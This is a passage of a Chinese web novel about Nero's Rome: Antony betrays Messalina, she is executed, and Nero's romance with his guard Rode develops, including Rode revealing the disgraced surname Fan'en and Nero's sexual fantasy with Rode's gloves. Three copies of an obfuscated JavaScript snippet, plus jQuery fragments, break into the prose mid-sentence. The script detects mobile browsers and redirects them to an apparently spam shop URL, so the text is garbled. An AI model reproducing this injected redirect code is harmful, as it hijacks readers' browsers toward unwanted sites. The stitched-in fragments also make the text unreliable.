安东尼悠然地高举起手,染着脂粉味的手掌一扇,位于背后的军队就列开两侧。
士兵整齐的走步引起崩裂般的震动,紧密如铁盾的队伍列到边侧,显露出罗马苍黄的地皮、高低不一的大理石雕像,以及远处的竞技场。
微弱的晨光如游丝般坠入罗马上空,红光在暗蓝的天边涌动。
马车里的尼禄从帘缝洞悉一切,一丝橘红的晨光溜进来,照亮他诧异的面容。
……
安东尼临时变卦,在双方僵持的政变中起到扭转乾坤的作用。
麦瑟琳娜对他十分信任,甚至将传令节交给他使用。她被他的甜言蜜语蛊惑,在昆汀死后对安东尼依赖更甚。
克劳狄乌斯的军队就这么兵不血刃地进入城中,最终直逼皇宫。
毫不知情的麦瑟琳娜穿着赭红色的婚服,躺在摇椅上让她的修脚奴捏脚。
她头戴一顶黄金的桂冠,雪白的指间戴满光芒四射的宝石。她化有精致到虚假的妆容,紧贴皮肤的红纱裹在她丰满的胸脯,象出了一层薄薄的鲜血。
一枚酷似白玉的饰品卡在她干燥的红发上。
——麦瑟琳娜偏爱她死去的儿子,将他的门牙磕掉收集起来,以黄金镶边,时时刻刻都戴在发间。这是罗马的母亲缅怀夭折的儿女的一种方式。
修脚奴战战兢兢地为近似于女王的麦瑟琳娜捏脚。他用锉刀磨去她脚底的死皮,将桑葚汁液与藏红花调和,涂抹在她并不洁净的脚指甲上。
“嗯……”她以性感的语调发出满足的感叹,“真舒服……”
这时,铁蹄锤击土地的行军声在殿门外响起。
麦瑟琳娜面露喜色,“你们的新国王回来了。”她愉悦地说。
她一脚踹开修脚奴,屈起光裸的腿,毫不忌讳的姿势就象一个等待客人品尝的妓|女。
殿门被冲撞开,扑进来的刺眼阳光如蝎钳般深深捅进她的眼底。麦瑟琳娜不适地眯起眼睛。
刺眼的光晕渐渐消退,克劳狄乌斯严肃的面孔立刻如黏鱼一样弹跳进来,他的驼背弯曲如钩针,他是她的丈夫;再接着,尼禄带着他的亲卫迈步进来,满脸淡漠而轻蔑的神情。他是她宿敌的儿子。
这些熟悉的面孔象碎片一样晃在麦瑟琳娜依旧迷糊的视野里。她一时有些恍惚。
金发碧眼的安东尼象鬼一样躲在人群后。细细的人缝卡在他尖细的下巴。
麦瑟琳娜愣一会,疑惑地眨了眨眼,鲜烈的红唇微微张大。她那僵如机械的视线,来回移动在克劳狄乌斯和安东尼之间,迟迟没有反应。
待到有所意识,她的五官象断了线似的垮掉,瞬间面无血色,仿佛一块白色的霉斑在脸上疾速扩大。
克劳狄乌斯恼怒得脸色涨紫。他含着的胸膛愈发起伏,呼吸越来越急促,粗重的喘气声回荡在宫殿,好象他下一刻就要背过气去。
“你已经疯了……麦瑟琳娜……”他愤慨道,“你软禁了你的父亲和我的侄女。你那颗原本就不聪颖的心脏,因为儿子的死,现在已经到了愚蠢的地步!”
麦瑟琳娜一眨不眨地盯着安东尼。
克劳狄乌斯叹道:“元老院早就派人告知我一切……你在表演一出给全罗马人取笑的闹剧!”
他的谴责象轻风一样绕在麦瑟琳娜耳边。她听不进一字,而是以迷惑的眼光死盯与她夜夜缠绵的情夫。
安东尼躲在人后,给她一个诡异而安静的笑容。
麦瑟琳娜有如被鬼魂抚摸脊背一样的冷意。
克劳狄乌斯本性谨慎而优柔寡断,没有当下就下令处死她。他吩咐近卫看管好皇后,懊恼地跺了跺形似牛蛙腿的腿脚,带着随从和手下离开了。
安东尼宛如沉重的树桩般立在地面。等到所有人撤走后,他孤身驻足在大殿中央。
针锋般的寂静延展在空气里。
麦瑟琳娜怔怔地看着他,忽然尖叫一声。她雕琢精细的脸象被撕裂般的扭曲,已有细纹的皮肤显现出怒色。
她难以置信地摇着头,以变了调的声音嘟囔着。本就因丧子而半疯半醒的她,此时完全坠入了混乱无序的思维之中。
她浑浑噩噩地重复着:“你背叛了我……你背叛了我……”
“明眼人都能看出来,您所组织的是一场必输的政变……”安东尼阴笑着,“只有失心疯的您一个人沉浸其中。”
麦瑟琳娜狂乱地摇着头,涂抹得鲜红的嘴唇随之而晃动。她的意识,不过是一滩支离破碎的破布罢了。
安东尼压低头颅,暗色蒙住他的口唇。他的蓝眼象鳞片一样闪着,有十足的卑鄙。
他深呼一口气,以报复的、得逞的口吻说:
“你终于要死了……这些年来,你就象一只粪蛆一样在我眼前蠕动个不停……浑身都散发着阴沟里的臭气!你的皮肤比沥青还粗糙,乳|房还不如妓院里最老的妓|女紧致!你愚笨的脑袋里装满了粪便,连呼吸都脏污了罗马的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239647|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空气,你这个贱到极致的、连猪狗都能愿意交欢的婊|子……”
麦瑟琳娜象痴傻了一样,强烈的震惊使她忘记反驳。
安东尼骂完,鬼魅般的身影嵌入白光刺眼的门框内,最后倏地消失了。
……
克劳狄乌斯下令,将意图谋反的皇后软禁起来,撤去她的所有奴隶。
他解救出被囚|禁的尤利乌斯和阿格里皮娜。并趁着这个机会,以保管不当的罪名削减他的岳父一半的军权。尤利乌斯势力大减。
罗马的政权因此而形势大变。
阿格里皮娜披着洁净的白裙袍,头戴丝质的白纱巾,整张脸都隐遁其中。她的身后还跟着两名守护她的近卫。
她匆忙地行走在大理石廊柱之间,棕褐色的眼瞳宛如潭沼,总是盈满凛冽的水汽,那里无疑涌动着什么别样的深意。
她刚刚接到一个秘密的指令。那是她的叔父克劳狄乌斯特意吩咐的。
经过整整三天的深思熟虑,克劳狄乌斯决定处死他忍受已久的红杏出墙的妻子。
阿格里皮娜急匆匆的脚步顿在殿门,素来冷漠的脸上跃过一丝复杂。
她的手轻抚上木门,停顿了片刻,再下定决心似的一把推门而入。
推开门的刹那,她就听到麦瑟琳娜在哼着歌儿。
曾经的皇后躺在摇椅上唱歌,悠然地摇动着,发出吱呀吱呀的声响。在偌大的宫殿里,声音象来回切割的锯子一样刺耳。
阿格里皮娜沉缓地朝她走去,凉靴和光滑的地面碰击出清脆的声音。
麦瑟琳娜的歌声骤然停止。
“没想到是你来送我,阿格里皮娜……我阴险而狡诈的朋友。”她沙哑地开口,“亲眼见证我输给你,一定很开心吧……”
阿格里皮娜顿了顿,开口道:“你到死都是这么气量狭小,麦瑟琳娜。我真是怜悯你那颗幼稚的心脏……”
麦瑟琳娜笑起来。她笑得十分用力,浑身发抖,好象要把毕生的快意全笑出来。这副模样十分疯癫,好象她的肚子里装满了无数的笑话。
她笑得上气不接下气,说话声也是断断续续的:“……我所憎恨的居然是怜悯我的……我所爱的居然要置我于死地!他曾经给我带来了那么多的快乐……”
“你被你那溺爱的父亲宠坏了,麦瑟琳娜……”阿格里皮娜平淡地说:“你要知道,人生中所有快乐,都不过是漫长的悲剧之间的稍事休歇!”
烛火如胞胎般在阴暗处燃动,熄灭的熏炉逸散出清淡的薰衣草香。
麦瑟琳娜背对着她轻笑,悲剧的变故使她的语气中有一丝服软:“虽然我以全部的身心憎恨你,但不得不承认,有时我真是羡慕你……”
“羡慕我什么?”
“羡慕你聪明的头脑,羡慕你嫁人的勇气,羡慕你的儿子……”麦瑟琳娜细细道来,“羡慕你出生就有的血统……”
阿格里皮娜肃然地盯着她微弯的脊背。
麦瑟琳娜用脚尖点地,轻晃的摇椅一转,将毫无粉饰的脸孔朝向阿格里皮娜。
她眼窝青紫,没有面膏和眼影遮瑕的脸庞衰老得宛如老妪。她的腮红早就淡褪掉了,松弛的眼角散出鱼尾纹,暗沉的红头发象干涸的血迹一样颜色深重。她有一股枯萎的气息。
“瞧见没有?”她指了指自己的脸,自嘲道,“我的结局,就和我现在这张卸了妆的脸一样可笑!”
阿格里皮娜沉默半晌,冷漠的脸上有一丝极细微的悲哀,“我不会折磨你,麦瑟琳娜。你将以最痛快的方式死去。”
麦瑟琳娜歪着嘴,怪异地笑着。她抄起胳膊,一如往常的狂傲派头。
此时角落里的残旧蜡烛已经熄灭,厅殿骤然晦暗不清。麦瑟琳娜病态的身影模糊一些,好象一朵乌云被吞噬于另一朵乌云里。
阿格里皮娜走近一些,将头顶的白纱整理端正,神情沉肃地问:“你还有什么遗言?”
麦瑟琳娜想了一会,以惯常的恶毒口吻说道:“愿安东尼以比我更悲惨的面目痛苦地死去!”
她嘶哑的嗓音,从黑暗处诞生,象恶魔许下的诅咒,向四面八方无形地飞散。
阿格里皮娜点头,朝近卫军使个眼色。
近卫军持着短匕走上前,捂住麦瑟琳娜的眼睛,将匕首扎进她的脖子……
31. 罗德的秘密
荒唐的政变只引起一点鸟喙啄水般的涟漪,罗马的政局很快就恢复平静。
一切战争终于结束。
尼禄凭借高卢远征的战功,获得一幢庄园和附近的大片土地。在庄园的墙根和土地的石碑上,都刻有“多米提乌斯”的姓氏。他取得了冠名。
榕树四季常青,宛如云簇的树荫下永远是鲜绿的光晕,以及树叶的清涩味。
树荫里有个位置始终是专属于罗德的。
他戴着黑手套,在调动一只铁弓,葱白而洁净的手指夹住一根黑尾羽的箭,十分利落。在拉弓时他沉静的黑瞳如凝缩般紧迫。他的小臂因用力而线条分明,隆起的纤长肌肉有雕琢的质感,那里无疑蕴含着什么艺术。
尼禄站在百叶窗前,透过窗缝偷窥,一道整齐的光亮横在他情迷的眉眼。
罗德拨动一下弓弦,发出铮铮的响动。
他沉默一会,那双略显狡黠的黑眸一移,通过窗缝,冷不丁撞上尼禄偷窥的双眼。
“偷看什么?出来!”罗德肆意地微笑,冲躲在窗内的尼禄说。他秀丽的脸庞夹在两层窗叶之间。
尼禄羞赧得脸颊热烫。罗德浓黑的身影如灼热的焦铁一般,几乎要烫伤他的眼睛。
他怔了片刻,推开交织光影的百叶窗,象一道白虹般轻巧地跃步到树上。
从战场上历练而归的尼禄,已经具备了还算合格的武力。
“年纪轻轻就坐拥庞大的资产……”罗德笑道,“这么多年来您是头一个。”
尼禄双手抓紧枝干。他阴郁的眉眼曾饱浸过鲜血,眉锋之下有一些凌驾一切的霸气,此时在墨绿的荫蔽下染有青色的柔光。
“那都是我在战场上以性命冒险得来的。”尼禄沉缓地说,坚直的小腿如铁戟般悬垂下去。
他轻轻扯开衣领,露出一截洁白的脖颈,用手比划一下,“有一次厄族人的斧刃离我的咽喉不到两指,斧头带起的风简直要吹干我的眼睛……”
罗德闷声不吭。那里是上一世的尼禄引颈自刎的地方。
他默然半晌,忽然伸出手,去够尼禄的脖子。
硬实的皮手套带来粗糙的触感,摩擦着尼禄本就敏感的皮肤。罗德冰润的指甲刮擦他的颈动脉、以及微凸的喉结,但只是如蝶翼扑棱般轻掠而过,并没有实在的触摸。
这种不亲密的抚摸十分微妙,就象一个禁欲的圣女反而使人浮想联翩。
毕竟人心是叛逆且好奇之物。
尼禄的喉结殷切地吞咽一下。
罗德收回手,柔润的红唇优美地抿合。他撇过脸去,一手撑着枝干,一手握住调好的弓,身姿如冷锋般僵直。
“不会再有战争了。”他说。
罗德的侧脸半掩于鬓发之中,树缝间的光晕使他线条朦胧。他素来坚利的气质此刻有柔化,宛如饱饮鲜血的刀剑终于归鞘的一刹。
尼禄忽然来了勇气。
他悄然挪手,紧张地挽住罗德裹着皮革的手腕。这种触感仿若蜂蛰,热烈的窃喜在尼禄心里饱胀,他的脸色涨红,同时惴惴不安地偷瞄罗德。
而他那桀骜而冷峻的亲卫没有抵触。
尼禄已经心感幸运。暗恋之中的他是一个知足的人。
树叶撞击出飒飒声响,落下一些干燥细密的尘埃。庭院弥漫着青涩的树叶味。
“出去走走吧。”罗德打破了沉默,“今天是牧神节。”
……
牧神节是一个古老的节日,为了纪念人身羊足的畜牧神卢波库斯。
狂欢的街道人头攒动。屋檐上挂满羊角木雕,小孩穿着半人半羊的服装,装扮成牧神的样子。奴隶在街头摇着铃铛,年轻的少女们站在街道两侧,为路人分发玫瑰花,有些大胆的还会向心生好感的男子主动献吻。这是牧神节的惯例。
尼禄和罗德都拿到一枝玫瑰花。
两人在人潮中被推搡着前进。
罗德鹤立在嘈杂人声中。他将鼻尖凑近玫瑰,浅淡地嗅闻一下,一丝难以视见的微笑从他的唇角虚晃而过。他黑发黑衣,连皮革手套都是漆黑的,唯有玫瑰和红唇还算是彩色的点缀。
一些拥挤在身侧的路人投来惊艳的目光。出众的外表使罗德很容易吸引旁人的注意。
尼禄抓紧他的手腕,与他贴着并肩行走,面目有些沉晦。
有两个年轻的女孩从人缝里挤出来。狂放的她们也有一点羞赧,红着脸,飞快地在罗德的侧脸落下一个吻。
尼禄睁大眼睛,持着玫瑰茎的手骤然握紧。强烈的嫉妒心使他如有冰锥刺入的冷意。
罗德表现得很平静。他将玫瑰花茎的尾端冲向女孩,这代表着拒绝。
街头的男人手拿羊皮鞭无序地挥舞,妇女们聚集在旁边,祈望羊皮鞭抽打到自己头上。罗马人相信这样会使妇女更容易生儿育女。
一切都是不属于两人的喧嚣。他们慢慢走出人潮,来到相对僻静的地方。
尼禄默不作声,银发软塌塌地耷拉着,从前额到脖颈都如石膏般苍白。他有一种被击垮的气质,忧郁象诅咒一样支配了他。
仅仅在半天之内,他就交给罗德毕生的所有悲欢。
罗德冷静的视线瞥过去,脸上显出些微的诧异:“您的手在流血。”
尼禄愣一下,翻过握着玫瑰茎的手掌。花刺尚未剃干净,在他的掌心扎出好几个血洞。
鲜血顺着指缝流淌,滴落一地。尼禄苍白的手掌满是耀目的血红。
罗德蹲在他脚前,撕掉衣布包扎伤口。他的黑发很长了,此时温润地披散下来,露出细白的后颈和肩膀。
他一直在沉默,突然停住手上包扎的动作,猛地抬头与尼禄对望。
他的眼里有审视的意味。
沉默好象一层刚刚结成的薄冰,随时都容易被捅破。
尼禄顿时惊惶不安,心虚得眼神直躲闪。他象被审讯一样,眼睫抖动个不停,初具刚毅的双脚开始发软。一股紧张象蛇一样绞紧他的命脉,尼禄紧张得胸口发疼。
这股紧张来得太过猛烈,终于将他本性里的脆弱逼出来。
“哦……不行……”尼禄支撑不住,害羞得捂住脸,“我不行了……罗德。别这么看着我……”他支支吾吾地说。
他那种消失已久的、柔软无助的样子,此时在罗德的逼视下又卷土重来了。
罗德盯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239648|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一会,双唇微动,但终究什么都没说……
两人在寂静中走过一路喧闹,沿着绵长的河岸前行。
河岸栽满青葱的月桂树,象发酵的肿块一样将河水夹在中间。蓝绿色的河水有些湍急,与石岸撞出咕咚声响,宛如从地底传来的冥乐。
他们走在树荫之下,路过一块刻写着姓氏的石碑。尼禄驻足了。
罗德也随之停下,清冷的眼光一扫,就见到石碑上刻着的“多米提乌斯”。
尼禄抚过那串石刻,神情有点骄傲。他的白袍袖沾有星点般的血红,手腕还残留着触目惊心的血迹,象寒光一样闪过罗德的眼睛。
“这一片都是我的资产。”尼禄轻笑道。极浅淡的雀斑使他显一点青稚,“包括附近的房舍和树木,都随我的姓氏。”
“这是一个光荣的姓氏。”罗德说。他扯动月桂的枝叶,细长的绿叶半掩他形状美好的脸颊。
那双黑如冥界的眼睛透过叶缝去瞟远处湍急的河水,罗德一副若有所思的模样。
尼禄凑过去,正值芳华的面庞顿显。他卷卷的银发擦揉罗德的黑发,黑银交织之间,竟有耳鬓厮磨的景象。
他红着脸,小心翼翼地试探道:“其实……你也可以拥有这个姓氏。只要你愿意……”
弯曲的枝叶从罗德手里陡然弹出。他转过脸,明丽的五官在树影间有些难以视清。
尼禄停顿一会,继续道:“你屡次救我于危难,我的身家性命有一半都因你而得。你完全值得这个赏赐,也有资格与我共享这一切。既然你没有姓氏……”
“其实我有姓氏。”罗德低声说。在逆光中,他的脸庞很是晦暗,唯有深邃的轮廓显得刚强,使他有一丝倔强。
尼禄愣住。一种不太好的预感油然而生,他凝重地问:“你姓什么?”
罗德顿了顿,以平淡的口吻说道:“法恩。”
这是一个众人皆知的、罪恶的姓氏,以背叛并杀害上一任皇帝而闻名全罗马。
尼禄只惊诧一瞬间,因惊异而高抬的眉毛渐渐平缓,蜜色的眼眸释放出凝重的深色。他凝视着罗德,神色变得认真,尚为青涩的脸孔如有镀银般的坚硬,十分坚毅。
“我是罪人的儿子。”罗德平静地说,“我有一个不光彩且致命的姓氏。任何听到这个姓氏的人都会咒骂我,避我如蛇蝎……”
尼禄轻柔地握住他的手。一丝欣喜浮在他稍显阴郁的脸庞,再一点点荡开,仿佛这种喜悦从灵魂里满溢,终于从皮囊内渗透出来。
尼禄银亮的发丝在微颤,其实忧郁的他笑起来时很温暖。
“我真高兴,你把最重要的秘密告诉了我,罗德。”他说,“你向我吐露了一切。”
罗德看着他微弯的眉眼,顿住了。
尼禄十分沉定,依旧平瘦的胸膛稳定地起伏,没有一丝慌乱。他有一种不可名状的、沉稳的气质,那是值得依靠的气质。他的执着,他的担当,从他琥珀般的眼睛侵袭出来。
“这些都不算什么,”尼禄牵紧他的手,“我会保护你的。”
经历两世的罗德终于明白,尼禄那残暴嗜血的皮相之内,竟然一丝世故都没有。
32. 爱情的满溢
将功补过的安东尼被免去死罪,但法院削去他的军权,没收他全部的财产和土地。
安东尼从贵族被贬为一贫如洗的平民。他所剩下的,只有一条光秃秃的性命。
别无所依的他只好住进兄长门希的家宅。
门希穿过一根根廊柱走到餐厅,铁筒制的军靴定住。他倚着门框,浑暗的蓝眸往里一瞧,涌过一丝嫌弃的神色。
奴隶们端着紫葡萄和蜂蜜蛋糕,往酒杯里斟满酒水,伺候正在大快朵颐的安东尼。
安东尼穿着松垮垮的睡袍,懒得打理的金发象干枯的黄草一样支起。他四仰八叉地躺在沙发上,胡子拉碴的,将葡萄一颗颗丢进嘴里,邋里邋遢的样子很讨人嫌。
门希无奈地叹息,拖着沉重的脚步,走到弟弟身边。
“你被剥夺了一切,却还有心情大吃大喝。”他训责道,“你经营多年的靠山倒塌了,而你似乎还没意识到这一点,我亲爱的弟弟。”
“哦……没人比我还希望她永矗不倒!”安东尼将一块蜂蜜蛋糕按进嘴里,顺便舔去指头上的蜂蜜,“可她的愚蠢超出我的想象。如果当时我对她保持忠诚,我的下场就和她一样!”
他嚼着蛋糕就干咳起来,端起葡萄酒灌了一大口,从鼻孔发出带着酒香的叹气。
门希有隐约的不满,眉间聚起一组细纹。他的金发梳理得极整齐,此时闪有锈钝般的暗沉。
“看看你现在的样子,安东尼……”他皱着眉说,“你白天吃喝,晚上就去剧场消费玩闹,就象一只在我身上吸血的寄生虫!”
安东尼拍掉手上的蛋糕屑,不以为意地说:“我死里逃生,现在还时常做着噩梦。我需要静养一阵子,请允许我在你家歇歇脚,我富有怜悯心的哥哥……”
他懒洋洋地歪过头,嘴里还叼着半块蛋糕,碧蓝的眼眸染有一些委屈,“我失去了一切,但我活下来了,不是吗?”
门希板着脸,套着铁皮的脚踝紧绷着。他坐到沙发上,肩膀上披着阴森森的鳞甲。
“你现在打算怎么办?”他瞥过忧虑的双眼。
安东尼枕着胳膊,餍足地眯着眼,嘴角还有残存的糕点屑。他思索一会,空洞的双目放出幽冥般的蓝光。
“当然是继续经商,和衣摆不过膝的贱商们周旋!”他颇为烦躁,“我一直都从印度进口铜像,和那帮黑皮肤的印度商人有很密切的交往。更何况……”
说到这儿,他的蓝眼珠转悠一圈,一丝市侩气的精明掠过他油腻的脸庞。装饰得油头粉面的安东尼,此刻显出市井里的、算计的气质。
“我们还有那些外快……”他扯出一个诡异的微笑,刻意压低的声音藏有暗潮般的尾音。
门希屏息有一瞬。他暗金色的眉毛蹙起,微微干燥的嘴唇如绞紧的枯藤一样抿合,已经开始衰老的眉目隐于灰暗之中。他冲安东尼做了个闭嘴的手势。
兄弟俩共同死守的秘密,象一个要带进坟墓里的陪葬品。
安东尼粘腻地坐起身,举着酒杯让奴隶倒酒,发出哗哗的水声。
他晃悠着酒杯,眼里别有一番深意,边小口呡着边说:“昆汀死了,半疯半傻的麦瑟琳娜也去了冥界。你的老朋友……尤利乌斯应该很不好过吧?”
门希轻哼一声,“他被削掉大半军权,连行政官的职位也没保住。他再也不是以前的尤利乌斯了。”
“可他依然拥有一些值得忌惮的兵力。”安东尼吐出残有酒气的言语。
“尽管如此,他的话已经起不到过去的作用。他失去了价值。”门希冷漠地说,“亏我还把近卫军长官的事托付于他……”
安东尼笑了笑。他放下酒杯,从沙发的缝间摸出一只小银盒,用手指蘸蘸盒里的红膏,涂抹在本来不怎么红润的嘴唇上。
门希瞧他一眼,以发愁的口吻说:“你今晚还要去剧场表演吗?”
安东尼抿了抿嘴,垢腻的红膏嵌进他深刻的唇纹。
“当然。”他媚气地笑着说,“这可是我唯一的消遣。”
……
尤利乌斯从行政官的职位上被撤,这个重要的位置便空缺下来。
在元老院的选举中,立有军功的尼禄被推举为新一任行政官。对此,苦心经营的阿格里皮娜在背后起到不可忽视的作用。
这是尼禄的幸事。他需要为上任做充分的准备。
熏炉里的薰衣草香燃尽,残香象柔丝缠在空气中。一抹青绿从打开的百叶窗滚落进来,洒在平铺的羊皮纸上,有一些清涩的气味。
尼禄揉揉酸疼的太阳穴,握起金属笔蘸了蘸木炭墨水,标记一些政令。
罗马遭受洪水的侵袭已经有些时日,有几座水坝被冲垮,亟待修缮,这将耗资巨大。除此之外,城中还出现一种类似瘟疫的怪病,无医可解。
这些都是即将上任的尼禄必须面对的。他为此忙碌一整天。
此时已经落日西沉了。
罗德练完剑,从训练场走回来。他提着的长剑蘸一点泥沙,闪出寒冷的银光。
细麻的黑衣紧包他的脖颈。罗德把自己裹得紧实,有一种引人窥测的禁欲感。
剑光宛如游虹,猝不及防地闯进楼上尼禄的视野。尼禄分了神,顿住笔,象被召唤一样幽幽地望向窗外。
罗德扯开衣领,裸露一小片红润的肌肤,上面有一层薄薄的汗,泛起珠母贝内侧的莹莹彩光。他英挺的锁骨如枝桠一样斜出去。
尼禄的视线象胶黏一样,粘在罗德光裸的肌肤上。他气血涌动。
鎏金般的夕阳投下来,橘红的暮色交织于院落的青绿,宛如颜料被搅和一气,形成温暖而清爽的色调。
罗德一圈圈绕开皮手套的绑带,象表演一样,优雅地脱掉手套,显露出细长而莹白的指骨。
他仅仅是脱个手套,就有一种不可名状的性感。
尼禄的睫毛因沉浸于这种美而微颤,宛如蜂翼震颤。他的刻笔顿在纸上,洇出一片浓黑的墨迹。
罗德在天井里简单地洗涤手套,用铁夹将还在滴水的手套晾在树间。
几个年轻的女奴躲在墙角,小声偷偷讨论这个极富魅力的男人。她们叽叽喳喳的,脸上有少女的羞赧、以及兴奋的红光。
俊美而强大的罗德是女奴们最常讨论的对象。
罗德抬起右腿、踩在天井的石阶上。
他甩掉手上的水珠,扯开紧绑在腿部上的绑带,裸露出一截沾有汗水的大腿。罗德腿部的线条很优美,此时被暮光映亮,散发着迷人的暖色光泽。
女奴们象一群麻雀那样小声惊呼起来。
“都给我闭上眼!”尼禄高声命令道。他黑着脸,带着锐意的眼角隐隐抽动。
受惊的年轻女奴们慌忙往四下散去。
罗德灵动地跳上榕树,再一个健步跳进百叶窗,身段轻盈得宛如一缕随风飘忽的黑烟。
“让奴隶闭眼……”罗德随性地笑笑,嘴角有一丝审问,“这真是一个乖张的要求。”
尼禄紧张地攥紧刻笔。他脸色一会红一会白,仿佛受到拷问一般。刻笔的笔尖深深陷入他的大拇指肚,一滴血珠从那里慢慢渗出。
罗德朝他正面走来,冷硬的身影嵌入背后的暮色窗景,好象金豹皮毛上的一块浓黑的斑块,美丽而危险。
尼禄痴傻似的僵立在原地,手指哒哒滴着血,眼睁睁地看见罗德站到眼前。
他的银发尽数被捋到后头,露出高昂的额头。眉锋之下的两片阴翳愈发深暗,有成熟的深邃意味。尼禄面颊处的婴儿肥已经褪去大半,唯有褐色的雀斑还存在一星半点。他从前绵软的、少年忧郁的气质,如今已经变得微微硬朗,好象结了一层痂皮。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239649|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>窗外的橘红暮光在尼禄平缓的肩上涌动。
罗德盯了他很久,一丝轻柔的笑意从他的嘴角缓慢荡开,那双黑眼睛有如星辰坠落般熠熠闪亮,在橘色的薄暮之下有一些温柔。
两人之间有微妙的沉默。
罗德忽然勾起手指,刮一下尼禄的鼻子,冒出一句没来由的话:“您长大了。”
他的手指有常年持剑所累积的茧子,刮擦鼻尖时带来轻微的痒意,好象擦出一点灼热的火花,顺着鼻尖就慢慢燎烧到心脏。
尼禄被这种柔和的热意所触动,尚在滴血的手抬起,摸到了罗德来不及撤掉的手。
罗德没有抽回。
一股发自爱意的情|欲升燃,某个部位隐隐抬头。身体发育之中的尼禄对于触摸十分敏感。他的眼睛出现暗色,一团滚烫的热流聚集于他的下腹,宛如一只蠢蠢欲动的、恶魔的胞胎。
此时此刻他特别想向罗德索取什么。
“我想要……”他嗓音沉哑,象沙砾一样,隐没在略有喘息的尾音里。
罗德的手象溪流一样滑回去,“要什么?”
他侧过脸,沉毅的侧脸线条象折不断的刚丝一样、嵌进背后的窗景,那绝对是一种美好的形状。
罗德象盛放在黑荆棘里艳丽的花,任何采摘他的人,首先必须忍受锥刺般的疼痛。
尼禄顿了顿,一丝清明划过他本来迷乱的眼睛。
他抬起手指,轻飘飘地往窗外一指,声音里还有不干不净的低哑:“我可以拿走你的手套吗?”
罗德抬眼一瞥。他那双刚刚洗干净的手套晾在那里,随着轻风沙沙摆动,象两滴甩在绿颜料之上的黑墨。
罗德不在意地笑笑,“它是你的了。”
他收紧剑鞘,从桌上拿走一颗红苹果,咬出一口清脆的响动。
他一身黑衣,手和颈项都很洁白,十分清简;而他轻动的嘴唇和手握的苹果,是浮在黑白之上的艳红。
尼禄呆立着紧盯他的双唇,有些意乱情迷。
罗德象一阵利落的剑风似的经过他,带起一股有着苹果香气的尾风。他飞飘的发丝扎到尼禄呆愣之中的脸颊,有一些细微的疼痛。
“医生必须得过来一趟。”他斜斜地瞥过尼禄的手,咬着苹果,漫不经心地说。
尼禄转过身,看着罗德象一笔游动的墨一样消失在门口。
此时他才感觉到拇指上剧烈的疼痛。
他恍惚地垂下头,发现血已经滴成一小滩了。
……
拿到手套的尼禄今晚注定难以入眠。
他支走卧室里的奴隶,吹灭蜡烛,心潮澎湃地缩在被子里。厚重的床帷披下来,将他封锁在一个安静而逼仄的空间。
封闭而幽暗的暖床,无疑增长人的邪念。
尼禄辗转反侧,呼吸逐渐升温,心脏象不甘的野兽一样在胸膛横冲直撞。他浑身燥热,嘴唇和脸颊红得异常。这个血气方刚的年轻人正在酝酿着什么。
他从枕下摸出晾得半干的手套,放在自己脸上,深深地嗅闻几下。于是鼻腔里灌满了熟悉的气味。
意识迷离的尼禄伸出舌尖舔了一下。他的行为多少是有点侵犯性的。
尼禄戴上手套,顺着身体往下游走。他的脑际一点点浮现罗德的影像。他与生俱来的红唇,冥渊般的黑眼睛,以及沾满汗液的、突出的锁骨,罗德成熟而健美的胴体一览无余。
尼禄陷入邪恶的臆想——
罗德赤|裸着上半身,银亮的铁靴包住线条优雅的小腿。他温柔地跪伏着,黑发打湿成绺、黏在细白的肩胛,而自己正将滴着血的拇指塞进他殷红的双唇……
心脏跳动激烈,舌下分泌出津液。有一瞬间尼禄食髓知味。
与其说是少年的身体的觉醒,不如是爱情终于从内心满溢到肉|体。
33. 令人发疯的称呼
第二天清晨,尼禄迷蒙地睁开双眼。
他惺忪地从被窝里伸出手,那双皮手套还戴在手上,沾了一些半干的黏物。
尼禄不太清明的眼里有着餍足。
他脱掉黏糊糊的睡衣,将手套清洗干净,压藏在枕头下面。
奴隶听到主人摇铃,勤快地走进卧室。他们倾倒陶罐倒出清水,替主人换掉脏污的床褥。
尼禄换上洁净的红袍,用苏打水和牙棒清洁牙齿。
奴隶捣碎一种叫做埃奈的植物,将汁液涂抹在他的肘部和脚底。这个来自东方的植物能产生一种特别的红色,使肤色苍白的他看起来更健康一些。
此时窗外的天色还很昏暗,几颗微弱的星辰如针尖般戳在天空。
尼禄嗒地一声扣紧搭扣,对着铜镜整理衣领,窗外的暗蓝隐没他的眼角。
“准备马车。”他低沉地说,嗓音还有昨夜留存的、不光彩的低哑,“我要去拜访我的母亲。”
奴隶放下埃奈汁,疑惑地问:“现在就去吗?”
尼禄漠然地点一下头,理着衣领的拇指隐隐作痛。他忽然顿住。
